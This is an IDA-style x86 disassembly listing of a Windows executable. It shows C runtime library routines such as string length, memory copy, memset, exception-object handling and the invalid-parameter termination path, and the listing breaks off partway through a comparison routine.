; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D802	proc near		; CODE XREF: sub_40BB2D+11Ap
		jmp	sub_40DE68
sub_40D802	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D807	proc near		; CODE XREF: sub_401049+Fp
					; sub_406253+14Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_40D85C
		cmp	[ebp+arg_0], edi
		jnz	short loc_40D835


loc_40D81A:				; CODE XREF: sub_40D807+31j
		call	sub_40F79E
		push	16h
		pop	esi
		mov	[eax], esi


loc_40D824:				; CODE XREF: sub_40D807+44j
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40DCD8
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_40D85E
; ---------------------------------------------------------------------------


loc_40D835:				; CODE XREF: sub_40D807+11j
		cmp	[ebp+arg_8], edi
		jz	short loc_40D81A
		cmp	[ebp+arg_4], eax
		jnb	short loc_40D84D
		call	sub_40F79E
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_40D824
; ---------------------------------------------------------------------------


loc_40D84D:				; CODE XREF: sub_40D807+36j
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_410C50
		add	esp, 0Ch


loc_40D85C:				; CODE XREF: sub_40D807+Cj
		xor	eax, eax


loc_40D85E:				; CODE XREF: sub_40D807+2Cj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40D807	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D862	proc near		; CODE XREF: sub_401869+11p
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax+8], 0
		mov	dword ptr [eax], offset	off_41C2E8
		retn
sub_40D862	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D873	proc near		; CODE XREF: sub_401806+2Fp
					; sub_405F1C+2Fp ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi], offset	off_41C2E8
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_40D8AE
		push	eax
		call	sub_40D970
		mov	esi, eax
		inc	esi
		push	esi
		call	sub_411069
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[edi+4], eax
		jz	short loc_40D8B2
		push	dword ptr [ebx]
		push	esi
		push	eax
		call	sub_410FB5
		add	esp, 0Ch
		jmp	short loc_40D8B2
; ---------------------------------------------------------------------------


loc_40D8AE:				; CODE XREF: sub_40D873+13j
		and	dword ptr [edi+4], 0


loc_40D8B2:				; CODE XREF: sub_40D873+2Bj
					; sub_40D873+39j
		mov	dword ptr [edi+8], 1
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_40D873	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8C1	proc near		; CODE XREF: sub_40DE4F+Ap

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dword ptr [eax], offset	off_41C2E8
		mov	ecx, [ecx]
		and	dword ptr [eax+8], 0
		mov	[eax+4], ecx
		retn	8
sub_40D8C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8D9	proc near		; CODE XREF: sub_401806+51p
					; sub_401919+16p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41C2E8
		mov	eax, [ebx+8]
		mov	[esi+8], eax
		test	eax, eax
		mov	eax, [ebx+4]
		push	edi
		jz	short loc_40D926
		test	eax, eax
		jz	short loc_40D920
		push	eax
		call	sub_40D970
		mov	edi, eax
		inc	edi
		push	edi
		call	sub_411069
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi+4], eax
		jz	short loc_40D929
		push	dword ptr [ebx+4]
		push	edi
		push	eax
		call	sub_410FB5
		add	esp, 0Ch
		jmp	short loc_40D929
; ---------------------------------------------------------------------------


loc_40D920:				; CODE XREF: sub_40D8D9+1Ej
		and	dword ptr [esi+4], 0
		jmp	short loc_40D929
; ---------------------------------------------------------------------------


loc_40D926:				; CODE XREF: sub_40D8D9+1Aj
		mov	[esi+4], eax


loc_40D929:				; CODE XREF: sub_40D8D9+36j
					; sub_40D8D9+45j ...
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_40D8D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D931	proc near		; CODE XREF: .vty:00401006j
					; .vty:00401014p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_41C2E8
		jz	short locret_40D946
		push	dword ptr [ecx+4]
		call	sub_41112C
		pop	ecx

locret_40D946:				; CODE XREF: sub_40D931+Aj
		retn
sub_40D931	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D947	proc near		; DATA XREF: .vty:0041C294o
					; .vty:0041C2ECo ...
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_40D953
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_40D953:				; CODE XREF: sub_40D947+5j
		retn
sub_40D947	endp

; ---------------------------------------------------------------------------


loc_40D954:				; DATA XREF: .vty:off_41C2E8o
		push	esi
		mov	esi, ecx
		call	sub_40D931
		test	byte ptr [esp+8], 1
		jz	short loc_40D96A
		push	esi
		call	sub_40DD8A
		pop	ecx


loc_40D96A:				; CODE XREF: .vty:0040D961j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40D970	proc near		; CODE XREF: sub_401065+5Fp
					; sub_4013A7+7p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_40D9A0


loc_40D97C:				; CODE XREF: sub_40D970+1Bj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_40D9D3
		test	ecx, 3
		jnz	short loc_40D97C
		add	eax, 0
		lea	esp, [esp+0]
		lea	esp, [esp+0]


loc_40D9A0:				; CODE XREF: sub_40D970+Aj
					; sub_40D970+46j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40D9A0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40D9F1
		test	ah, ah
		jz	short loc_40D9E7
		test	eax, 0FF0000h
		jz	short loc_40D9DD
		test	eax, 0FF000000h
		jz	short loc_40D9D3
		jmp	short loc_40D9A0
; ---------------------------------------------------------------------------


loc_40D9D3:				; CODE XREF: sub_40D970+13j
					; sub_40D970+5Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40D9DD:				; CODE XREF: sub_40D970+58j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40D9E7:				; CODE XREF: sub_40D970+51j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40D9F1:				; CODE XREF: sub_40D970+4Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_40D970	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D9FB	proc near		; CODE XREF: sub_401156+168p
					; sub_402F64+6Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		jnz	short loc_40DA26
		call	sub_40F79E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40DAA5
; ---------------------------------------------------------------------------


loc_40DA26:				; CODE XREF: sub_40D9FB+Cj
		mov	ecx, [ebp+arg_4]
		cmp	ecx, ebx
		push	esi
		mov	esi, [ebp+arg_0]
		jz	short loc_40DA52
		cmp	esi, ebx
		jnz	short loc_40DA52
		call	sub_40F79E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40DAA4
; ---------------------------------------------------------------------------


loc_40DA52:				; CODE XREF: sub_40D9FB+34j
					; sub_40D9FB+38j
		mov	eax, 7FFFFFFFh
		cmp	ecx, eax
		mov	[ebp+var_1C], eax
		ja	short loc_40DA61
		mov	[ebp+var_1C], ecx


loc_40DA61:				; CODE XREF: sub_40D9FB+61j
		push	edi
		lea	eax, [ebp+arg_C]
		push	eax
		push	ebx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		call	sub_4113BB
		add	esp, 10h
		cmp	esi, ebx
		mov	edi, eax
		jz	short loc_40DAA3
		dec	[ebp+var_1C]
		js	short loc_40DA95
		mov	eax, [ebp+var_20]
		mov	[eax], bl
		jmp	short loc_40DAA1
; ---------------------------------------------------------------------------


loc_40DA95:				; CODE XREF: sub_40D9FB+91j
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	sub_4111BA
		pop	ecx
		pop	ecx


loc_40DAA1:				; CODE XREF: sub_40D9FB+98j
		mov	eax, edi


loc_40DAA3:				; CODE XREF: sub_40D9FB+8Cj
		pop	edi


loc_40DAA4:				; CODE XREF: sub_40D9FB+55j
		pop	esi


loc_40DAA5:				; CODE XREF: sub_40D9FB+29j
		pop	ebx
		leave
		retn
sub_40D9FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DAA8	proc near		; CODE XREF: sub_40DB84+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	dword_426018
		call	sub_411DBF
		push	dword_426014
		mov	esi, eax
		mov	[esp+1Ch+var_4], esi
		call	sub_411DBF
		mov	edi, eax
		cmp	edi, esi
		pop	ecx
		pop	ecx
		jb	short loc_40DB4D
		mov	ebx, edi
		sub	ebx, esi
		lea	ebp, [ebx+4]
		cmp	ebp, 4
		jb	short loc_40DB4D
		push	esi
		call	sub_4123F6
		mov	esi, eax
		cmp	esi, ebp
		pop	ecx
		jnb	short loc_40DB34
		mov	eax, 800h
		cmp	esi, eax
		jnb	short loc_40DAF5
		mov	eax, esi


loc_40DAF5:				; CODE XREF: sub_40DAA8+49j
		add	eax, esi
		cmp	eax, esi
		jb	short loc_40DB0B
		push	eax
		push	[esp+18h+var_4]
		call	sub_4123AB
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40DB22


loc_40DB0B:				; CODE XREF: sub_40DAA8+51j
		lea	eax, [esi+10h]
		cmp	eax, esi
		jb	short loc_40DB4D
		push	eax
		push	[esp+18h+var_4]
		call	sub_4123AB
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40DB4D


loc_40DB22:				; CODE XREF: sub_40DAA8+61j
		sar	ebx, 2
		push	eax
		lea	edi, [eax+ebx*4]
		call	sub_411D53
		pop	ecx
		mov	dword_426018, eax


loc_40DB34:				; CODE XREF: sub_40DAA8+40j
		mov	esi, [esp+14h+arg_0]
		mov	[edi], esi
		add	edi, 4
		push	edi
		call	sub_411D53
		mov	dword_426014, eax
		pop	ecx
		mov	eax, esi
		jmp	short loc_40DB4F
; ---------------------------------------------------------------------------


loc_40DB4D:				; CODE XREF: sub_40DAA8+27j
					; sub_40DAA8+33j ...
		xor	eax, eax


loc_40DB4F:				; CODE XREF: sub_40DAA8+A3j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_40DAA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB55	proc near		; DATA XREF: .vty:0041C22Co
		push	esi
		push	4
		push	20h
		call	sub_412363
		mov	esi, eax
		push	esi
		call	sub_411D53
		add	esp, 0Ch
		test	esi, esi
		mov	dword_426018, eax
		mov	dword_426014, eax
		jnz	short loc_40DB7D
		push	18h
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40DB7D:				; CODE XREF: sub_40DB55+21j
		and	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
sub_40DB55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB84	proc near		; CODE XREF: sub_40DBC0+4p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_41F880
		call	__SEH_prolog4
		call	sub_4124F8
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_0]
		call	sub_40DAA8
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40DBBA
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_40DB84	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DBBA	proc near		; CODE XREF: sub_40DB84+28p
					; DATA XREF: .vty:0041F898o
		call	sub_412501
		retn
sub_40DBBA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DBC0	proc near		; CODE XREF: sub_401156+39p
					; sub_4024A7+4Cp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_40DB84
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ecx
		dec	eax
		retn
sub_40DBC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DBD2	proc near		; CODE XREF: sub_412755+15p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_424380, eax
		retn
sub_40DBD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=2A8h


sub_40DBDC	proc near		; CODE XREF: sub_40DCD8+1Fj
					; sub_40F6FC+59p ...

var_328		= dword	ptr -328h
var_31C		= dword	ptr -31Ch
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_244		= word ptr -244h
var_240		= word ptr -240h
var_23C		= word ptr -23Ch
var_238		= word ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= word ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= word ptr -208h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-2A8h]
		sub	esp, 328h
		mov	eax, dword_4231C4
		xor	eax, ebp
		mov	[ebp+2A8h+var_4], eax
		push	esi
		mov	[ebp+2A8h+var_220], eax
		mov	[ebp+2A8h+var_224], ecx
		mov	[ebp+2A8h+var_228], edx
		mov	[ebp+2A8h+var_22C], ebx
		mov	[ebp+2A8h+var_230], esi
		mov	[ebp+2A8h+var_234], edi
		mov	[ebp+2A8h+var_208], ss
		mov	[ebp+2A8h+var_214], cs
		mov	[ebp+2A8h+var_238], ds
		mov	[ebp+2A8h+var_23C], es
		mov	[ebp+2A8h+var_240], fs
		mov	[ebp+2A8h+var_244], gs
		pushf
		pop	[ebp+2A8h+var_210]
		mov	esi, [ebp+2ACh]
		lea	eax, [ebp+2ACh]
		mov	[ebp+2A8h+var_20C], eax
		mov	[ebp+2A8h+var_2D0], 10001h
		mov	[ebp+2A8h+var_218], esi
		mov	eax, [eax-4]
		push	50h
		mov	[ebp+2A8h+var_21C], eax
		lea	eax, [ebp+2A8h+var_328]
		push	0
		push	eax
		call	sub_40DD10
		lea	eax, [ebp+2A8h+var_328]
		mov	[ebp+2A8h+var_2D8], eax
		lea	eax, [ebp+2A8h+var_2D0]
		add	esp, 0Ch
		mov	[ebp+2A8h+var_328], 0C000000Dh
		mov	[ebp+2A8h+var_31C], esi
		mov	[ebp+2A8h+var_2D4], eax
		call	dword_41C114	; IsDebuggerPresent
		push	0
		mov	esi, eax
		call	dword_41C110	; SetUnhandledExceptionFilter
		lea	eax, [ebp+2A8h+var_2D8]
		push	eax
		call	dword_41C10C	; UnhandledExceptionFilter
		test	eax, eax
		jnz	short loc_40DCB0
		test	esi, esi
		jnz	short loc_40DCB0
		push	2
		call	sub_412996
		pop	ecx


loc_40DCB0:				; CODE XREF: sub_40DBDC+C6j
					; sub_40DBDC+CAj
		push	0C000000Dh
		call	dword_41C108	; GetCurrentProcess
		push	eax
		call	dword_41C104	; TerminateProcess
		mov	ecx, [ebp+2A8h+var_4]
		xor	ecx, ebp
		pop	esi
		call	sub_410BCD
		add	ebp, 2A8h
		leave
		retn
sub_40DBDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCD8	proc near		; CODE XREF: sub_40D807+22p
					; sub_40D9FB+1Ep ...
		push	ebp
		mov	ebp, esp
		push	dword_424380
		call	sub_411DBF
		test	eax, eax
		pop	ecx
		jz	short loc_40DCEE
		pop	ebp
		jmp	eax
; ---------------------------------------------------------------------------


loc_40DCEE:				; CODE XREF: sub_40DCD8+11j
		push	2
		call	sub_412996
		pop	ecx
		pop	ebp
		jmp	sub_40DBDC
sub_40DCD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCFC	proc near		; CODE XREF: sub_4012F5+8p
					; sub_401B38:loc_401B81p ...
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_40DCD8
		add	esp, 14h
		retn
sub_40DCFC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40DD10	proc near		; CODE XREF: sub_40140F+5Ep
					; sub_40460B+12Cp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_40DD85
		xor	eax, eax
		mov	al, [esp+arg_4]
		test	al, al
		jnz	short loc_40DD3C
		cmp	edx, 100h
		jb	short loc_40DD3C
		cmp	dword_426008, 0
		jz	short loc_40DD3C
		jmp	sub_4129F5
; ---------------------------------------------------------------------------


loc_40DD3C:				; CODE XREF: sub_40DD10+14j
					; sub_40DD10+1Cj ...
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_40DD75
		neg	ecx
		and	ecx, 3
		jz	short loc_40DD57
		sub	edx, ecx


loc_40DD4D:				; CODE XREF: sub_40DD10+45j
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jnz	short loc_40DD4D


loc_40DD57:				; CODE XREF: sub_40DD10+39j
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_40DD75
		rep stosd
		test	edx, edx
		jz	short loc_40DD7F


loc_40DD75:				; CODE XREF: sub_40DD10+32j
					; sub_40DD10+5Dj ...
		mov	[edi], al
		add	edi, 1
		sub	edx, 1
		jnz	short loc_40DD75


loc_40DD7F:				; CODE XREF: sub_40DD10+63j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40DD85:				; CODE XREF: sub_40DD10+Aj
		mov	eax, [esp+arg_0]
		retn
sub_40DD10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40DD8A	proc near		; CODE XREF: .vty:00401021p
					; sub_4013C4+2Ep ...
		jmp	sub_41112C
sub_40DD8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DD8F	proc near		; CODE XREF: sub_40102D+Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_C]
		push	edi
		xor	edi, edi
		cmp	esi, edi
		jnz	short loc_40DDA1


loc_40DD9D:				; CODE XREF: sub_40DD8F+4Bj
		xor	eax, eax
		jmp	short loc_40DE06
; ---------------------------------------------------------------------------


loc_40DDA1:				; CODE XREF: sub_40DD8F+Cj
		cmp	[ebp+arg_0], edi
		jnz	short loc_40DDC1


loc_40DDA6:				; CODE XREF: sub_40DD8F+5Fj
		call	sub_40F79E
		push	16h
		pop	esi
		mov	[eax], esi


loc_40DDB0:				; CODE XREF: sub_40DD8F+72j
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40DCD8
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_40DE06
; ---------------------------------------------------------------------------


loc_40DDC1:				; CODE XREF: sub_40DD8F+15j
		cmp	[ebp+arg_8], edi
		jz	short loc_40DDDC
		cmp	[ebp+arg_4], esi
		jb	short loc_40DDDC
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_410050
		add	esp, 0Ch
		jmp	short loc_40DD9D
; ---------------------------------------------------------------------------


loc_40DDDC:				; CODE XREF: sub_40DD8F+35j
					; sub_40DD8F+3Aj
		push	[ebp+arg_4]
		push	edi
		push	[ebp+arg_0]
		call	sub_40DD10
		add	esp, 0Ch
		cmp	[ebp+arg_8], edi
		jz	short loc_40DDA6
		cmp	[ebp+arg_4], esi
		jnb	short loc_40DE03
		call	sub_40F79E
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_40DDB0
; ---------------------------------------------------------------------------


loc_40DE03:				; CODE XREF: sub_40DD8F+64j
		push	16h
		pop	eax


loc_40DE06:				; CODE XREF: sub_40DD8F+10j
					; sub_40DD8F+30j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40DD8F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE0A	proc near		; CODE XREF: .vty:0040DE1Bp
		push	ecx
		mov	dword ptr [ecx], offset	off_41C308
		call	sub_412A98
		pop	ecx
		retn
sub_40DE0A	endp

; ---------------------------------------------------------------------------


loc_40DE18:				; DATA XREF: .vty:off_41C308o
		push	esi
		mov	esi, ecx
		call	sub_40DE0A
		test	byte ptr [esp+8], 1
		jz	short loc_40DE2E
		push	esi
		call	sub_40DD8A
		pop	ecx


loc_40DE2E:				; CODE XREF: .vty:0040DE25j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40DE34	proc near		; CODE XREF: sub_4165F6+12Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	ecx, 9
		push	ecx
		add	eax, 9
		push	eax
		call	sub_40FAB0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		retn	4
sub_40DE34	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE4F	proc near		; CODE XREF: sub_40DE68+3Bp
		push	esi
		push	1
		push	offset off_42302C
		mov	esi, ecx
		call	sub_40D8C1
		mov	dword ptr [esi], offset	off_41C290
		mov	eax, esi
		pop	esi
		retn
sub_40DE4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE68	proc near		; CODE XREF: sub_401806+10p
					; sub_401F7D+2p ...

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		jmp	short loc_40DE7D
; ---------------------------------------------------------------------------


loc_40DE70:				; CODE XREF: sub_40DE68+20j
		push	[ebp+arg_0]
		call	sub_412B12
		test	eax, eax
		pop	ecx
		jz	short loc_40DE8C


loc_40DE7D:				; CODE XREF: sub_40DE68+6j
		push	[ebp+arg_0]
		call	sub_411069
		test	eax, eax
		pop	ecx
		jz	short loc_40DE70
		leave
		retn
; ---------------------------------------------------------------------------


loc_40DE8C:				; CODE XREF: sub_40DE68+13j
		test	byte ptr dword_424390, 1
		mov	esi, offset dword_424384
		jnz	short loc_40DEB3
		or	dword_424390, 1
		mov	ecx, esi
		call	sub_40DE4F
		push	offset loc_41B6A9
		call	sub_40DBC0
		pop	ecx


loc_40DEB3:				; CODE XREF: sub_40DE68+30j
		push	esi
		lea	ecx, [ebp+var_C]
		call	sub_40D8D9
		push	offset dword_41FEA0
		lea	eax, [ebp+var_C]
		push	eax
		mov	[ebp+var_C], offset off_41C290
		call	sub_4107BC
		int	3		; Trap to Debugger
sub_40DE68	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DED2	proc near		; CODE XREF: sub_401E6B+4Dp
					; sub_4054B7+3Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		mov	eax, edi
		sub	eax, 0
		jz	loc_40F4CA
		dec	eax
		jz	loc_40F4B9
		dec	eax
		jz	loc_40F48B
		dec	eax
		jz	loc_40F443
		dec	eax
		jz	loc_40F3BA
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	ebx
		push	20h
		pop	edx
		jmp	loc_40E382
; ---------------------------------------------------------------------------


loc_40DF10:				; CODE XREF: sub_40DED2+4B2j
		mov	esi, [eax]
		cmp	esi, [ecx]
		jz	short loc_40DF92
		movzx	esi, byte ptr [eax]
		movzx	ebx, byte ptr [ecx]
		sub	esi, ebx
		jz	short loc_40DF35
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40E39E


loc_40DF35:				; CODE XREF: sub_40DED2+4Cj
		movzx	esi, byte ptr [eax+1]
		movzx	ebx, byte ptr [ecx+1]
		sub	esi, ebx
		jz	short loc_40DF56
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40E39E


loc_40DF56:				; CODE XREF: sub_40DED2+6Dj
		movzx	esi, byte ptr [eax+2]
		movzx	ebx, byte ptr [ecx+2]
		sub	esi, ebx
		jz	short loc_40DF77
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40E39E


loc_40DF77:				; CODE XREF: sub_40DED2+8Ej
		movzx	esi, byte ptr [eax+3]
		movzx	ebx, byte ptr [ecx+3]
		sub	esi, ebx
		jz	short loc_40DF94
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40DF94
; ---------------------------------------------------------------------------


loc_40DF92:				; CODE XREF: sub_40DED2+42j
		xor	esi, esi


loc_40DF94:				; CODE XREF: sub_40DED2+AFj
					; sub_40DED2+BEj
		test	esi, esi
		jnz	loc_40E39E
		mov	esi, [eax+4]
		cmp	esi, [ecx+4]
		jz	short loc_40E022
		movzx	esi, byte ptr [eax+4]
		movzx	ebx, byte ptr [ecx+4]
		sub	esi, ebx
		jz	short loc_40DFC5
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40E39E


loc_40DFC5:				; CODE XREF: sub_40DED2+DCj
		movzx	esi, byte ptr [eax+5]
		movzx	ebx, byte ptr [ecx+5]
		sub	esi, ebx
		jz	short loc_40DFE6
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40E39E


loc_40DFE6:				; CODE XREF: sub_40DED2+FDj
		movzx	esi, byte ptr [eax+6]
		movzx	ebx, byte ptr [ecx+6]
		sub	esi, ebx
		jz	short loc_40E007
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40E39E


loc_40E007:				; CODE XREF: sub_40DED2+11Ej
		movzx	esi, byte ptr [eax+7]
		movzx	ebx, byte ptr [ecx+7]
		sub	esi, ebx
		jz	short loc_40E024
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40E024
; ---------------------------------------------------------------------------


loc_40E022:				; CODE XREF: sub_40DED2+D0j
		xor	esi, esi


loc_40E024:				; CODE XREF: sub_40DED2+13Fj
					; sub_40DED2+14Ej
		test	esi, esi
		jnz	loc_40E39E
		mov	esi, [eax+8]
		cmp	esi, [ecx+8]
		jz	short loc_40E0B2
		movzx	esi, byte ptr [eax+8]
		movzx	ebx, byte ptr [ecx+8]
		sub	esi, ebx
		jz	short loc_40E055
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_40E39E


loc_40E055:				; CODE XREF: sub_40DED2+16Cj
		movzx	esi, byte ptr [eax+9]
		movzx	ebx, byte ptr [ecx+9]
		sub	esi, ebx
		jz	short loc_40E076
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
